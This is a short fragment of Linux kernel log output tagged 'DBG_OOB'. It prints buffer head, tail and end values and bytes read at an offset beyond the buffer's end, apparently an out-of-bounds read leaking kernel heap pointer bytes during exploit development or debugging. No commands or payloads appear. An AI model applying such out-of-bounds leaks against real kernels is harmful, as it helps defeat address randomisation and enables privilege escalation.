[    4.102192] DBG_OOB head=ffff888021df6080 nh=20 tail=20 end=384
byte=0x00 ptr16_23(head+544)=0xdf
[    4.122357] DBG_OOB head=ffff888021de5a00 nh=20 tail=20 end=384
byte=0x01 ptr16_23(head+544)=0xde
...
```